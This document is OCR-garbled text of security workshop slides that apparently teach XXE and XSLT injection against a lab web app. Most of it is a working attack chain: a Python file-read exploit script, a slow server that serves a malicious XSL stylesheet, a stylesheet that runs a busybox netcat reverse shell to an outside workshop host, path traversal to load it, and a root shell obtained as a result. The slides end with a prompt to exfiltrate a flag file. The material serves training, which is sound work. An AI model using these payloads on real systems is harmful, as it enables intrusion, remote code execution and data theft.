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WELCOME ADMIN!
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HOME

ADMIN

ADD BOOKS:

Title:

INew Book

Doc Book :

1 <2xml version="1.8" encoding="UTF-8"2>
2~ <book xml:id="simple_book" xmlns="http://docbook.org/ns/docbook” wversion="5.8">

3 <title>Very simple book</title>

4 <chapter wuml:id="chapter_1">

5 <titlexChapter l¢/titlex

B <paraxHello world!</para>

7 <para>I hope that your day is proceeding <emphasis»splendidly</emphasis>!</paraz
8 <fchapters>

9~ <chapter xml:id="chapter_ 2">

19 <titlexChapter 2<¢/title>

11 <pararHellc again, world!</para>
12 <fchapter>

13 </book>

Back to Administration Home



Buidling an exploit faster with Request

Reissue Scripter

1 3
w y 1| Reissue Request Scripter 6.0 - http://ioce-workshop.gosec.co:8024/admin/upload — m] *
Burp Intrud
Python (Requests) =
Sequen | Hackvertor
1= eater
Intercept
Filter: Sh ?
F H MIME type
416 htt, cript A
415 htt, cript
414 ht, cript
413 htt, cript
412 htt, cript
411 |t Ess
410 |t Fss
400 |htt Fss
408 hit, ESS
407 |hth M
406 |het] © > b
405 |t} Copy to clipboard Save to file cript
404 htt, PEG ~
< [ Proxy redirection [] Minimal headers [] Disable SSL/TLS verification >

W) Burp Suite Professional v1.7.37 - Temporary Project - licensed to GoSecure Inc. [13 user license] - O X
Burp Intruder Repeater Window Help Backslash
Sequencer Decoder Comparer Extender Project options User options Alerts JSOM Beautifier Hackvertor
Target Proxy Spider Scanner Intruder Repeater
Intercept HTTP history \webSockets history Options
Filter: Showing all items ?
# Host Method  URL Params  Edited Status Length MIME type
416 http://>xe-workshop.gosec.co:8024 GET /js/ace/theme-textmate. js 200 3106 script ~
415 http://>oee-workshop.gosec.co:8024 GET /is/jquery-ace.min.js 200 3507 script
414 http://xe-workshop.gosec.co:8024 GET /is/ace/mode-html.js 200 41056 script
413 http://>xe-workshop.gosec.co:8024 GET /is/jquery/jquery-1.8.3.min.js 200 94020 script
412 http://sote-workshop.gosec.co:8024 GET /is/bootstrap.min.js 200 36335 script
411 http://xe-workshop.gosec.co:8024 GET /cssfoverride.css 200 744 CSS
410 http://>xe-workshop.gosec.co:8024 GET [font-awesome/css/font-awesome.min... 200 22354 CSS
409 http://sote-workshop.gosec.co:8024 GET [cssffreelancer.css 200 8354 CSS
408 http://xe-workshop.gosec.co: 8024 GET /css/bootstrap.css 200 147220 |CSS
407 http://>oee-workshop.gosec.co:8024 POST {adminfuninard L 200 5979 HTML
406  |http://soce-workshop.gosec.co:8024 GET hitp://xxe-workshop.gosec.co:2024/admin/upload 200 1315 HTML
405 http://se-workshop.gosec.co:8024 GET Add to scope 200 94020 script
404 http://>oee-workshop.gosec.co:8024 GET N 200 18490 JPEG v
< Spider from here
Do an active scan
Request Response Do a passive scan
Raw Params Headers Hex Send to Intruder Ctrl+|
POST /adwin/upload HTTP/ 1.1 Send to Repeater Ctrl+R ~
Host: xxe-workshop.gosec.co:8024 Send to Sequencer
User—-Agent: Mozilla/5.0 (Windows NT 10.0 9 Lo
ccept: text/html, application/xhtml+xml, | Send to Comparer (request)
ept-Language: en-US,en;q=0.5
-cept-Encoding: gzip, deflate Sa0s) 1 e Pl (e
Referer: heep://uxe-workshop.gosec.co:B0) Show response in browser
Content-Type: application/x-www-form-url| Request in browser 5
Content-Length: 830
Cookie: JSESSICNID=00A7EASAES3015064AF2D Generat%'icr\'pt
Connsction: closs | N
Upgrade-Insecure-Requests: 1 Engagement tools
Show new history window
_csri=e8ledbd3-024f-4602-abl5-cf0E2eB36E] #mlCode=%3C%3Fxml+versio
n%3D%221.0%22+encodings3D%22UTF-8%22%3F% Add comment ns%3D%322https3A%IF32Fdoc
book.orgsZFnssIFdochooksZZ+versions3Dsll Highlight 3C%2FCitleS3ESODS0A++++%3
Cchapter+xml%34ids3D322chapter_1%22%3E%0 . 0% 0A++++++++53Cparas 3EHe
1lo+worldsZ1%¥3CEIFparas 3ES0DS0At+rtrrts Delete item phasissIEsplendidlys3cs
CFemphasis%3E%21%3C%2Fparas3ES0D s 0A++++% Clear history fZchapter 2%22%3ES0D%0A+
F++++++53CE it 1es3EChapter+253C52F it lesd C52Fpara%3ESODS0A++++%
3C4%2Fchapter3E40D%0A%3C% 2Fhook%3Esact io Copy URL
Copy as curl command
Copy links
Save item
Proxy history help
v
z 0 matches

Request Rasponse

Raw Params Headers Hex

POST /admin/upload HTTE/ 1.1 ~
Host: xxe-workshop.gossc.co:8024
User—Agent: Mozilla/5.0 (Windows MT 10.0; Winéd4: xé4; rv:57.0) Gecko/201l00101 Firefox/57.0
text/html, application/xhtml+xml, application/xml; q=0.9, */*;gq=0.8
en-Us,en;gq=0.5
pt-Encoding: gzip, deflate
Referer: http://uxe-workshop.gosec.co:8024/adwin/upload
Content-Type: application/x-www-form-urlencoded
Content-Length: 830
Coockie: JSESSTCONID=00A7EABAES3015084AFIDEFDTEE5CEEA
Connsction: closs
Upgrade-Insecure-Regquests: 1

ETT&

_esrf=efledbd3-024f-4E02-abl5-cf0E

2 tle=New+Booketemplate=doc_book preview.xsléxmlCode=%3C%3Fxml+versio
n%30%221.0%22+4encoding%3D%22U0TF-8%2
%

ti
EX0D%0A%3Chook+xml33A1d%3D%2Isimple_book3Zl+xmlnss 305 22hetps3ASIF3IFdoc
%2

%
book.org%ZFnssiFdockhook%2Z+version LO%Z2%3ES0DS0A4++44+53CT it les3EVery+3imple+books3C%2F it 1eS3ES0DS 0A 453
o

Cchapter+xml%34id%3D%2Zchapter_1%22 S0A+4++++++53Ct it 1es3EChapter+1%3C52Ftit 1e%3E50D%0A++++++++53Cparas 3EHe
llo+worldsZ153C4ZFparas3ES0DS 0h++++++++53Cparas3EI+hope+that+vour+day+is+procesding+s 3Cenphasiss3Esplendidlys3CY
ZFemphasiss3E%2 1%3C%2Fpara%3ES0Ds0A++++%3C%2Fchapters3E%0D%0A+++%3Cchapter+xml%34id%3D%22chapter_2%22%3E50D%0A+
+++++++53Ct it leS3EChapter+2%3C52Ft it oS 3ES0DS 0A++++++++53Cparas3EHe llo+agains 2C+wor 1ds 2 153C5 ZFparas 3ES 0DS O A++++5%
3C%ZFchapters3E%0D%0A%3C%Fhooks3Ecact ion=test
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Provided XXE exploit script
specific to the app

: Ju pyter xxe exploit.pyv 18 minutes ago Logout | Control Panel
File Edit View Language Python
1 import requests -
2  import re
3  from bs4 import BeautifulSoup
4  from sys import argv
7 proxies = { ## SEE session.get() calls to enable the request sent to your HTTP proxy.

8 "http": “http://127.8.8.1:1888a8",
o "https": "http://127.8.8.1:1888a",
18 | }
11

12 session = reguests.Session() .

12 cookies = {"JSESSTONID": "@BA76ASABS3015064AF 2D6FD7885COEA"} ## cHanGE | TOU need to edit the JSESSIONID
SESSION ID

14

15 def get csrf_token():

17 ## GENERATED BY REISSUE REQUEST SCRIPTER (BURP EXTENSION)

18 headers = {"User-f&gent”:"Mozilla/5.8 (Windows NT 18.8; WOW&d; rv:51.8) Gecko/2@8lBelal
Firefox/51.8","Connection”:"close”, "Accept-Languagse”:"an-
Us,en;q=8.5", "Accept”: "text/html,application/xhtml+xml,application/xml;q=0.9,%/*;q=8.8"," "Up
grade-Insecure-Requests":"1"}

19 response = session.get("http://xxe-workshop.gosec.co:8824/admin/upleoad”,
headers=headers, cookies=cookies) #, proxies=proxies)

1 for line in response.text.splitlines():



Provided XXE exploit script
Usage

jovyanf jupyterlab-workshop:~/labs/exercise 80245 python xxe expleoit.py /fetc/issue

Welcome to Alpine Linux 3.5
Eernel \r on an \m (\1)

jovyan@jupyterlab-workshop:~/labs/exercise 80245 python xxe exploit.py /
.dockerenv
app.Jjar
bin
data
dev

etc
flag
home
lib
lib&c4
media
mnt

opt
proc
rooct
run
sbin
szecret
srVv

sys

tmp

usr

var




The sleepy HTTP server

': Jupyter slow htip server.pyv 2 hours ago

File

Edit View Language

from tornado.ioloop import IOLoop
import tornado.web
import time

class MainHandler(tornado.web.RequastHandler):
def get(self):

with open("malicious.xs1","r") as file:

self.write(file.read())
self.flush()
time.slesp(999040)
self.finish{}

if  name_ == " main_ ":

application = tornado.web.fpplication(]
(r'/', MainHandler},

D
port = 8888
application.listen(port)
print{"Listening on port "+str{port))
I0Loop.instance().start()

Logout

Confrol Panel

Python



Side-Channel XXE with external DTD

XML with jar:http://

Request “ZIP” file

IR



What useful file can be upload ?

: Jupyter malicious.xslv 2 hours age Logout | Control Panel

File Edit View Language XML

1 «<xsl:stylesheet version="1.8"
2 smlns:xsl="http:/ www.w3.0rg/1992/X5L/Transform"
¥mlns:date="http://xml.apache.org/xalan/java/java.util.Date"”

I

¥mlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"”

5 ¥mlns:str="http://xml.apache.org/xalan/java/java.lang.5tring"

6 exclude-result-prefixes="date">» .

g EDIT with the command to

3 <xsl:output method="text"/» evaluate

9 <xsl:template match="/"»

18

11 <xsl:variable name="cmd"><![CDATA[fbin/busybox nc shell-workshop.gosec.co 9999 -e

fbin/sh]]»</xsl:variablex
12 <xsl:variable name="rt0Obj" select="rt:getRuntime()"/>»

13 <xsl:variable name="process” select="rt:exec($rtobj, Scmd)"/»
14 <xsl:text>Process: </xsl:text><xsl:ivalue-of select="%process"/»
15

7 </xsl:template>
17 «<fwsl:styleshest>



upyterlab-workshop bt + jovyan@jupyterlab-workshop bt +

8 https://shell-workshop.gosec.co B o} & H « c 8 https://shell-workshop.gosec.co

Jupyter Logout = Control Panel I Jupyter

jovyal pyterlab-workshop: abs/exerc : 24 File "/opt/conda/lib/python3.7/site-packages/requests/adapters.py", line 449,
send

listening on [any] 9959 ...
timeout=timeout

File "/opt/conda/lib/python3.7/site—-packages/urllib3/connectionpool. , line

0, in urlopen
chunke chunked)
File "/opt/conda/lib/python3.7/site-packages/urllib3/connecticonpocl.py”, line

0, in _make request
httplib_ response conn.getresponse ()
File "/opt/conda/lib/python3.7/http/client.py"”, line 1321, in getresponse

response.begin()

2. Forcing the download of
malicious.xml to /tmp

KeyboardInterrupE
jovyan® jupyterlab-workshop:~/labs/exercise
/shell-workshop.gosec.co:8888/!/aaaa"

jupyterlab-workshop x +

pyterlab-workshop X +

& @ https://shell-workshop.gosec.co B @ g H < Cc @ https://shell-workshop.gosec.co
Logout | Control Panel I JUpytEf Logout | Control Panel

" jupyter

Jjovyal upyterlab-workshop:~/labs/exe : 24 jovyan@ jupyterlab-workshop:~/labs/exer
Listening on port 8888 hsperfdata root
WARNING: tornado.a :404 GET /\ (165.227.128.70) 0.51lms jar cacheS086160249414577981.tmp
I ] t.2654476698849166794.8024

3 t.7804842478454113602.8024
tomcat-docbase.l1662510458€40197876.8024

Jjovyan@ yterlab—worksho labs/exer
che%086160249414977981.tmp
/bin/busybox nc shell-workshop.gos

1. Serving the malicious.xsl file /bin/basybox ne shell workshop-gosce.

3. Browsing /tmp to find the
exact file name




Now with the local file name of the XSL file

1 = 2 x 3 = 4 =

Go < | Target: http:/ /xxe-workshop.gosec.co:8024 |, 7

Raw Params Headers Hex

POST Jadwin/upload HTTP/ L.l ~
Host: xxe-workshop.gosec.co:8024

User—-Agent: Mozilla/5.0 (Windows MT 10.0; WOWE4; rv:51.0) Gecko/20100101 Firefox/51.0

Aoccept-Encoding: gzip, deflate

Accept: text/html,application/=xhtml+xml, application/=<ml;q=0.9, %/ *;¢q=0.8

Connection: close

Referer: http://localhost:B00L1/ 3 L oad

Aoccept-Language: en-US, en;qg=0.7 .
Content-Type: application/x—-glw—form-ur lenc Path traversal used tO force the XSLT flle

Jupyter Logout | Conirol Panel
okie: JSESSICHMID=00ATVEASBARSZ0LS0E4AFZDEFDT

@jupyterlab-workshop: X +

8 https://shell-workshop.gosec.co % 9

C
Content-Length: £10
: : n ; ; ; . - — upyterlab-workshop:~/ nc -nlvk -p 9999
template=). ./ T R L N Y LAtmp/jar cacheS08E160249414577581.tmpeaction=testé csrf=s8Iledbd3i- listening on [any] g
E5-cfl&62e83 7exmlCode=%3C%3Fuml+versiont3Ds221.0%22+encodings30% 22 UTF-8%22%3F43E%04%3C%2 LDOCTYPE+b c- z .

eet - : - to [46.101.141.50] from (UNENOWN) [165.:
+ETSTEN4+5 275 ZFemps 2 745 3E455D% 3E50A%3Chook+xml%34id%3D%22simple b 522 4+xmlnss3Ds2Zheeps3A%2FY

k%Z2Z24version%3D%225.0%22%3E50A+4+4+453C0 it le%s3EVery4simpled+books3C0%2F it leS 3ES0AH+453 00
hapter 1%ZZ%3E% DA++++++++'¢3Ltltl"'¢3EoaLxx'—?3 53C%I2Fcitles3ES0A++++++++553Cparas 3ES3Cs2Fparay

C52Fc 11a13t er33E30A%3C%2Fhooks3Estit le=New+Book

NTITY+xxe

uid=0(root) gid=0(root) groups (root),1(bin), 2 (daemon), 3 (sys) ,4(adm), & (disk) , 10 (w
) .11 (floppy) ,20({dialout), 26 (tape), 27 (video)

Raw Headers Hex HTML Render

Preview:

Process: java lang UNIXProcess@230d77e5

Process: java lang UNIXProcess@@230d77e5

Add Panl-e-



Next find a way to exfiltrate the flag.pdf
file
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